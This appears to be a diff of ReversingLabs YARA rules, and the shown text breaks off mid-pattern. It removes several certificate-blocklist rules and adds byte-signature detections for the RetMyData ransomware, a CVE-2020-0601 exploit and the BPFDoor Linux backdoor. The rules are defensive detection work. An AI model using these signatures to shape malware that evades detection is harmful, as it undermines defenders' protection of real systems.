"bca4533d-e721-5f23-984a-3b741ca8b53f" - date = "2020-08-05" - modified = "2023-11-08" + id = "f7a091d9-7ace-5aad-95b4-d5101fa7fdea" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4628-L4644" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RetMyData.yara#L1-L79" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c4905f02c74df6d05b3f9a6fe2c4f5f32a02bb10da4db929314be043be76d703" + logic_hash = "54ce38d75e9ab82a77b9c338f75e180e19ac745f149289c7478a4aa3b44d70fd" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "RetMyData" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rov SP Z O O" and pe.signatures [ i ] . serial == "41:d0:56:76:e0:d3:19:08:be:4d:ea:d3:48:6a:ea:e3" and 1594857600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_8Cff807Edaf368A60E4106906D8Df319 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "c964a540-6124-52f0-b17f-692cd4b9b3af" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4646-L4664" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6fc98519faf218d90bb4e01821e6014e009c0b525cfd3c906a64ef82bc20beda" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 9D ?? ?? ?? ?? 8B 04 04 + C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 40 51 51 0F 84 ?? ?? ?? ?? 8D + B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85 + C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85 C0 74 ?? F6 85 ?? ?? ?? + ?? ?? 89 74 24 ?? 89 7C 24 ?? 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? + 89 D8 E8 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? BA ?? ?? + ?? ?? 89 D8 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 D8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 + 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 0F 85 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F 5D C3 55 BA ?? ?? ?? ?? 89 + E5 53 51 89 C3 E8 ?? ?? ?? ?? 48 74 ?? 5A 89 D8 5B 5D E9 ?? ?? ?? ?? 58 5B 5D C3 + } + $enum_resources = { + 55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 95 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 8B 04 04 C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 44 24 ?? ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? + 83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 31 F6 89 + 44 24 ?? 8D 85 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? + ?? ?? ?? 83 EC ?? 3B B5 ?? ?? ?? ?? 7D ?? 83 7B ?? ?? 75 ?? 8B 43 ?? C7 44 24 ?? ?? + ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F8 E8 ?? ?? ?? ?? 89 D8 46 83 C3 ?? + E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F + 5D C3 + } + $encrypt_files = { + 55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 + C0 89 C2 A3 ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31 + C0 89 D7 F3 AB 85 DB 75 ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 5C 24 ?? 8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 3C + 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C + 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 + 24 E8 ?? ?? ?? ?? 89 74 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 EC + ?? 83 F8 ?? 89 C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 89 7C 24 ?? 89 34 24 EB ?? 8D + BD ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? + ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 89 + 1C 24 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 + ?? ?? ?? ?? EB ?? F7 D8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? + 89 1C 24 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 EC ?? BA ?? ?? ?? ?? C7 04 24 ?? ?? ?? + ?? B8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 74 24 ?? 89 1C 24 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 EC ?? + FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KRAFT BOKS OOO" and ( pe.signatures [ i ] . serial == "00:8c:ff:80:7e:da:f3:68:a6:0e:41:06:90:6d:8d:f3:19" or pe.signatures [ i ] . serial == "8c:ff:80:7e:da:f3:68:a6:0e:41:06:90:6d:8d:f3:19" ) and 1598334455 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( $encrypt_files ) } -rule REVERSINGLABS_Cert_Blocklist_A3E62Be1572293Ad618F58A8Aa32857F : INFO FILE +rule REVERSINGLABS_Win32_Exploit_CVE20200601 : TC_DETECTION MALICIOUS EXPLOIT CVE_2020_0601 FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects CVE-2020-0601 exploit." author = "ReversingLabs" - id = "2f67abf3-390a-5c67-afed-e586e20692af" - date = "2020-08-05" - modified = "2023-11-08" + id = "6a03fd5e-3b7f-5b71-b897-5cac81721a56" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4666-L4684" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/exploit/Win32.Exploit.CVE20200601.yara#L3-L253" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f849898465bc651f19f6f1b54315c061466d8c5860ecf1a07f54c8c8292f6a95" + logic_hash = "e4d915560ad72e0fde63276f9ffece00535c7983125efaa8298adc11d5e54817" score = 75 - quality = 90 - tags = "INFO, FILE" + quality = 88 + tags = "TC_DETECTION, MALICIOUS, EXPLOIT, CVE-2020-0601, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "EXPLOIT" + exploit = "CVE-2020-0601" + tc_detection_type = "Exploit" + tc_detection_name = "CVE-2020-0601" + tc_detection_factor = 5 importance = 25 + strings: + $oid_prime_explicit = { + 06 07 2A 86 48 CE 3D 01 01 + } + $ecc_public_key_1 = { + 04 47 45 0E 96 FB 7D 5D BF E9 39 D1 21 F8 9F 0B + B6 D5 7B 1E 92 3A 48 59 1C F0 62 31 2D C0 7A 28 + FE 1A A7 5C B3 B6 CC 97 E7 45 D4 58 FA D1 77 6D + 43 A2 C0 87 65 34 0A 1F 7A DD EB 3C 33 A1 C5 9D + 4D A4 6F 41 95 38 7F C9 1E 84 EB D1 9E 49 92 87 + 94 87 0C 3A 85 4A 66 9F 9D 59 93 4D 97 61 06 86 + 4A + } + $ecc_public_key_2 = { + 04 84 13 C9 D0 BA 6D 41 7B E2 6C D0 EB 55 5F 66 + 02 1A 24 F4 5B 89 69 47 E3 B8 C2 7D F1 F2 02 C5 + 9F A0 F6 5B D5 8B 06 19 86 4F 53 10 6D 07 24 27 + A1 A0 F8 D5 47 19 61 4C 7D CA 93 27 EA 74 0C EF + 6F 96 09 FE 63 EC 70 5D 36 AD 67 77 AE C9 9D 7C + 55 44 3A A2 63 51 1F F5 E3 62 D4 A9 47 07 3E CC + 20 + } + $ecc_public_key_3 = { + 04 A7 56 7A 7C 52 DA 64 9B 0E 2D 5C D8 5E AC 92 + 3D FE 01 E6 19 4A 3D 14 03 4B FA 60 27 20 D9 83 + 89 69 FA 54 C6 9A 18 5E 55 2A 64 DE 06 F6 8D 4A + 3B AD 10 3C 65 3D 90 88 04 89 E0 30 61 B3 AE 5D + 01 A7 7B DE 7C B2 BE CA 65 61 00 86 AE DA 8F 7B + D0 89 AD 4D 1D 59 9A 41 B1 BC 47 80 DC 9E 62 C3 + F9 + } + $ecc_public_key_4 = { + 04 CD 0F 5B 56 82 DF F0 45 1A D6 AD F7 79 F0 1D + C9 AC 96 D6 9E 4E 9C 1F B4 42 11 CA 86 BF 6D FB + 85 A3 C5 E5 19 5C D7 EE A6 3F 69 67 D8 78 E2 A6 + C9 C4 DB 2D 79 2E E7 8B 8D 02 6F 31 22 4D 06 E3 + 60 72 45 9D 0E 42 77 9E CE CF E5 7F 85 9B 18 E4 + FC CC 2E 72 D3 16 93 4E CA 99 63 5C A1 05 2A 6C + 06 + } + $ecc_public_key_5 = { + 04 57 CF EA B3 39 4D 3F A1 21 E0 6E 2F 38 72 C6 + 87 97 F3 85 0B 47 E7 0F 51 C8 D1 F4 99 9B CA 59 + 65 FF 4C F9 EA 0B B7 25 D5 D2 F6 EC 31 2D 32 62 + 12 D7 76 86 A7 FA 38 C9 65 D4 FE 73 E2 84 39 F8 + 4C 49 62 13 DD BA D5 88 A0 5F 3D C8 4F B0 3F 8F + A1 50 11 E4 93 46 AD C3 5F CB F1 A4 6A 95 56 E8 + C0 + } + $ecc_public_key_6 = { + 04 D1 D9 4A 8E 4C 0D 84 4A 51 BA 7C EF D3 CC FA + 3A 9A B5 A7 63 13 3D 01 E0 49 3E FA C1 47 C9 92 + B3 3A D7 FE 6F 9C F7 9A 3A 0F F5 0E 0A 0A C3 3F + C8 E7 12 14 8E D5 D5 6D 98 2C B3 71 32 0A EB 2A + BD F6 D7 6A 20 0B 67 45 9C D2 B2 BF 53 22 66 09 + 5D DB 11 F3 F1 05 33 58 A3 E2 B8 CF 7C CD 82 9B + BD + } + $ecc_public_key_7 = { + 04 4A EE 58 AE 4D CA 66 DE 06 3A A3 11 FC E0 18 + F0 6E 1C BA 2D 30 0C 89 D9 D6 EE 9B 73 83 A9 23 + 15 8C 2F 59 8A 5A DD 14 EA 9D 59 2B 43 B7 06 EC + 32 B6 BA EE 41 B5 AD 5D A1 85 CC EA 1D 14 66 A3 + 67 7E 46 E2 94 F3 E7 B6 56 A1 15 59 A1 4F 37 97 + B9 22 1E BD 11 EB F4 B2 1F 5E C3 14 9A E5 D9 97 + 99 + } + $ecc_public_key_8 = { + 04 DD A7 D9 BB 8A B8 0B FB 0B 7F 21 D2 F0 BE BE + 73 F3 33 5D 1A BC 34 EA DE C6 9B BC D0 95 F6 F0 + CC D0 0B BA 61 5B 51 46 7E 9E 2D 9F EE 8E 63 0C + 17 EC 07 70 F5 CF 84 2E 40 83 9C E8 3F 41 6D 3B + AD D3 A4 14 59 36 78 9D 03 43 EE 10 13 6C 72 DE + AE 88 A7 A1 6B B5 43 CE 67 DC 23 FF 03 1C A3 E2 + 3E + } + $ecc_public_key_9 = { + 04 D7 66 B5 1B DB AE B3 60 EE 46 EA 88 63 75 3B + 2A 94 6D F3 5F 12 F6 E3 0F 9E B6 0A 14 53 48 52 + C8 DC 3A B3 CB 48 20 26 12 4E FA 89 84 D4 DF 91 + E4 29 7D 28 01 D9 DB 18 43 69 A1 1F B5 D3 86 16 + DC C7 7F 67 23 DF DF 31 31 83 03 35 70 B1 4B B7 + C8 17 BB 51 CB DC 94 17 DB EA 09 3B 76 12 DE AA + B5 + } + $ecc_public_key_10 = { + 04 15 B1 E8 FD 03 15 43 E5 AC EB 87 37 11 62 EF + D2 83 36 52 7D 45 57 0B 4A 8D 7B 54 3B 3A 6E 5F + 15 02 C0 50 A6 CF 25 2F 7D CA 48 B8 C7 50 63 1C + 2A 21 08 7C 9A 36 D8 0B FE D1 26 C5 58 31 30 28 + 25 F3 5D 5D A3 B8 B6 A5 B4 92 ED 6C 2C 9F EB DD + 43 89 A2 3C 4B 48 91 1D 50 EC 26 DF D6 60 2E BD + 21 + } + $ecc_public_key_11 = { + 04 03 47 7B 2F 75 C9 82 15 85 FB 75 E4 91 16 D4 + AB 62 99 F5 3E 52 0B 06 CE 41 00 7F 97 E1 0A 24 + 3C 1D 01 04 EE 3D D2 8D 09 97 0C E0 75 E4 FA FB + 77 8A 2A F5 03 60 4B 36 8B 16 23 16 AD 09 71 F4 + 4A F4 28 50 B4 FE 88 1C 6E 3F 6C 2F 2F 09 59 5B + A5 5B 0B 33 99 E2 C3 3D 89 F9 6A 2C EF B2 D3 06 + E9 + } + $ecc_public_key_12 = { + 04 92 A0 41 E8 4B 82 84 5C E2 F8 31 11 99 86 64 + 4E 09 25 2F 9D 41 2F 0A AE 35 4F 74 95 B2 51 64 + 6B 8D 6B E6 3F 70 95 F0 05 44 47 A6 72 38 50 76 + 95 02 5A 8E AE 28 9E F9 2D 4E 99 EF 2C 48 6F 4C + 25 29 E8 D1 71 5B DF 1D C1 75 37 B4 D7 FA 7B 7A + 42 9C 6A 0A 56 5A 7C 69 0B AA 80 09 24 6C 7E C1 + 46 + } + $ecc_public_key_13 = { + 04 A2 D5 9C 82 7B 95 9D F1 52 78 87 FE 8A 16 BF + 05 E6 DF A3 02 4F 0D 07 C6 00 51 BA 0C 02 52 2D + 22 A4 42 39 C4 FE 8F EA C9 C1 BE D4 4D FF 9F 7A + 9E E2 B1 7C 9A AD A7 86 09 73 87 D1 E7 9A E3 7A + A5 AA 6E FB BA B3 70 C0 67 88 A2 35 D4 A3 9A B1 + FD AD C2 EF 31 FA A8 B9 F3 FB 08 C6 91 D1 FB 29 + 95 + } + $ecc_public_key_14 = { + 04 98 E9 2F 3D 40 72 A4 ED 93 22 72 81 13 1C DD + 10 95 F1 C5 A3 4E 71 DC 14 16 D9 0E E5 A6 05 2A + 77 64 7B 5F 4E 38 D3 BB 1C 44 B5 7F F5 1F B6 32 + 62 5D C9 E9 84 5B 4F 30 4F 11 5A 00 FD 58 58 0C + A5 F5 0F 2C 4D 07 47 13 75 DA 97 97 97 6F 31 5C + ED 2B 9D 7B 20 3B D8 B9 54 D9 5E 99 A4 3A 51 0A + 31 + } + $ecc_public_key_15 = { + 04 0D 30 5E 1B 15 9D 03 D0 A1 79 35 B7 3A 3C 92 + 7A CA 15 1C CD 62 F3 9C 26 5C 07 3D E5 54 FA A3 + D6 CC 12 EA F4 14 5F E8 8E 19 AB 2F 2E 48 E6 AC + 18 43 78 AC D0 37 C3 BD B2 CD 2C E6 47 E2 1A E6 + 63 B8 3D 2E 2F 78 C4 4F DB F4 0F A4 68 4C 55 72 + 6B 95 1D 4E 18 42 95 78 CC 37 3C 91 E2 9B 65 2B + 29 + } + $ecc_public_key_16 = { + 04 1A AC 54 5A A9 F9 68 23 E7 7A D5 24 6F 53 C6 + 5A D8 4B AB C6 D5 B6 D1 E6 73 71 AE DD 9C D6 0C + 61 FD DB A0 89 03 B8 05 14 EC 57 CE EE 5D 3F E2 + 21 B3 CE F7 D4 8A 79 E0 A3 83 7E 2D 97 D0 61 C4 + F1 99 DC 25 91 63 AB 7F 30 A3 B4 70 E2 C7 A1 33 + 9C F3 BF 2E 5C 53 B1 5F B3 7D 32 7F 8A 34 E3 79 + 79 + } + $ecc_public_key_17 = { + 04 E1 FD 8E B8 43 24 AB 96 7B 85 C2 BA 0B AD 8D + E0 3A E3 24 B9 D2 B1 BE 88 3A CA BF 4A B8 F9 EF + 2C 2F AF 51 50 3C 47 75 6C F8 94 B7 9B FC 28 1E + C5 54 CC 63 9D 16 4B 53 C1 E7 20 AB CD AC 25 D2 + 7F 8F C2 C1 5A 82 5E 30 8B 7A 54 CE 03 B5 91 7F + AA 94 D0 D1 8A 48 CC 82 05 26 A1 D5 51 12 D6 7B + 36 + } + $ecc_public_key_18 = { + 04 19 E7 BC AC 44 65 ED CD B8 3F 58 FB 8D B1 57 + A9 44 2D 05 15 F2 EF 0B FF 10 74 9F B5 62 52 5F + 66 7E 1F E5 DC 1B 45 79 0B CC C6 53 0A 9D 8D 5D + 02 D9 A9 59 DE 02 5A F6 95 2A 0E 8D 38 4A 8A 49 + C6 BC C6 03 38 07 5F 55 DA 7E 09 6E E2 7F 5E D0 + 45 20 0F 59 76 10 D6 A0 24 F0 2D DE 36 F2 6C 29 + 39 + } + $ecc_public_key_19 = { + 04 B8 C6 79 D3 8F 6C 25 0E 9F 2E 39 19 1C 03 A4 + AE 9A E5 39 07 09 16 CA 63 B1 B9 86 F8 8A 57 C1 + 57 CE 42 FA 73 A1 F7 65 42 FF 1E C1 00 B2 6E 73 + 0E FF C7 21 E5 18 A4 AA D9 71 3F A8 D4 B9 CE 8C + 1D + } + $ecc_public_key_20 = { + 04 C7 11 16 2A 76 1D 56 8E BE B9 62 65 D4 C3 CE + B4 F0 C3 30 EC 8F 6D D7 6E 39 BC C8 49 AB AB B8 + E3 43 78 D5 81 06 5D EF C7 7D 9F CE D6 B3 90 75 + DE 0C B0 90 DE 23 BA C8 D1 3E 67 E0 19 A9 1B 86 + 31 1E 5F 34 2D EE 17 FD 15 FB 7E 27 8A 32 A1 EA + C9 8F C9 7E 18 CB 2F 3B 2C 48 7A 7D A6 F4 01 07 + AC + } + $ecc_public_key_21 = { + 04 DE CD BB 70 20 F1 25 20 B4 94 E8 D7 B4 3B 0F + 6E 87 DD AB AC CF 4D 40 2F 81 33 6B 59 09 18 D6 + 87 0D 26 23 9C B4 8D 95 9D 76 9F A5 B9 06 42 E6 + AD 36 B2 C4 B3 AE 7A 3C 08 D5 CB 9D 3A 5E 45 21 + 6C 0B E3 20 F5 9B C2 DD 44 33 E3 42 B9 EA F2 28 + 42 92 AA FE 0C 07 CA 8A 13 99 3B 62 00 ED DA F3 + 35 + } + $ecc_public_key_22 = { + 04 5C D1 EE 57 0D D1 EF 81 7C 26 91 62 C3 6B E7 + FC 73 A9 A0 C3 37 44 DC D6 F8 31 E2 77 93 5F 8F + EB E3 ED 38 73 F5 FC 8B 55 B9 14 A5 8F 2C 44 28 + 19 AF 5D FB DE 09 58 C9 29 B3 A9 99 D3 75 13 3C + A9 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ISIDA, TOV" and ( pe.signatures [ i ] . serial == "00:a3:e6:2b:e1:57:22:93:ad:61:8f:58:a8:aa:32:85:7f" or pe.signatures [ i ] . serial == "a3:e6:2b:e1:57:22:93:ad:61:8f:58:a8:aa:32:85:7f" ) and 1596585600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $oid_prime_explicit ) and ( any of ( $ecc_public_key_* ) ) and ( pe.number_of_signatures > 0 ) } - -rule REVERSINGLABS_Cert_Blocklist_672D4428450Afcc24Fc60969A5063A3E : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Bpfdoor : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BPFDoor backdoor." author = "ReversingLabs" - id = "fcd8e808-dbd6-5903-868a-0aa4541e6321" - date = "2020-08-05" - modified = "2023-11-08" + id = "81e64491-b0fe-5062-86cc-074e05208077" + date = "2025-10-13" + modified = "2025-10-13" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4686-L4702" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.BPFDoor.yara#L1-L326" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8f5927e96109184bad7de4513994fd1021fe1cc5977e60fa72d808df95cb4516" + logic_hash = "9d3c5408180f5aedca77229c3ecaa499b71530b51d715cb4f35397f0874a84b8" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "BPFDoor" + tc_detection_factor = 5 importance = 25 + strings: + $packet_loop_v1_p1 = { + 55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? BB + ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 D7 48 89 DE 48 89 C1 F3 48 A5 66 C7 85 ?? ?? FF FF + ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 + C0 89 C2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? + ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 89 D1 BA ?? ?? ?? ?? BE + ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 90 48 8D 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 48 + 8D 9D ?? ?? ?? ?? 8B 45 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? + ?? ?? ?? 48 89 DE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8D 85 ?? ?? ?? ?? 48 83 C0 ?? 48 + 89 45 ?? 48 8B 45 ?? 0F B6 00 0F B6 C0 83 E0 ?? C1 E0 ?? 89 45 ?? 83 7D ?? ?? 7F ?? + 90 EB ?? 48 8B 45 ?? 0F B6 40 ?? 0F B6 C0 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 + ?? E9 ?? ?? ?? ?? 8B 45 ?? 48 98 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 + ?? 48 8B 45 ?? 0F B6 40 ?? C0 E8 ?? 0F B6 C0 C1 E0 ?? 89 45 ?? 8B 45 ?? 48 63 D0 8B + 45 ?? 48 98 48 8D 04 02 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0 48 89 45 ?? EB ?? + 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? EB ?? 48 8B + } + $packet_loop_v1_p2 = { + 45 ?? 48 83 C0 ?? 48 89 45 ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 45 ?? 48 83 7D ?? ?? 0F + 84 ?? ?? ?? ?? 48 8B 45 ?? 8B 40 ?? 83 F8 ?? 75 ?? 48 8B 45 ?? 8B 40 ?? 89 45 ?? EB + ?? 48 8B 45 ?? 8B 40 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 45 ?? + BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 EC 00 00 00 + 00 48 C7 85 70 FC FF FF 00 00 00 00 48 C7 85 78 FC FF FF 00 00 00 00 C7 85 80 FC FF + FF 00 00 00 00 C6 85 50 FC FF FF 2F C6 85 51 FC FF FF 75 C6 85 52 FC FF FF 73 C6 85 + 53 FC FF FF 72 C6 85 54 FC FF FF 2F C6 85 55 FC FF FF 6C C6 85 56 FC FF FF 69 C6 85 + 57 FC FF FF 62 C6 85 58 FC FF FF 65 C6 85 59 FC FF FF 78 C6 85 5A FC FF FF 65 C6 85 + 5B FC FF FF 63 C6 85 5C FC FF FF 2F C6 85 5D FC FF FF 70 C6 85 5E FC FF FF 6F C6 85 + 5F FC FF FF 73 C6 85 60 FC FF FF 74 C6 85 61 FC FF FF 66 C6 85 62 FC FF FF 69 C6 85 + 63 FC FF FF 78 C6 85 64 FC FF FF 2F C6 85 65 FC FF FF 6D C6 85 66 FC FF FF 61 C6 85 + 67 FC FF FF 73 C6 85 68 FC FF FF 74 C6 85 69 FC FF FF 65 C6 85 6A FC FF FF 72 C6 85 + 6B FC FF FF 00 E8 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 C7 E8 ?? + ?? ?? ?? 48 89 C2 48 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D + } + $packet_loop_v1_p3 = { + 95 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? + ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? + 48 89 C7 E8 ?? ?? ?? ?? 89 C1 48 8B 45 ?? 48 83 C0 ?? BA ?? ?? ?? ?? 89 CE 48 89 C7 + E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 C7 E8 ?? ?? ?? ?? 89 C1 48 8B 45 ?? 48 + 83 C0 ?? BA ?? ?? ?? ?? 89 CE 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 83 C0 ?? 48 89 + C7 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 83 F8 ?? 74 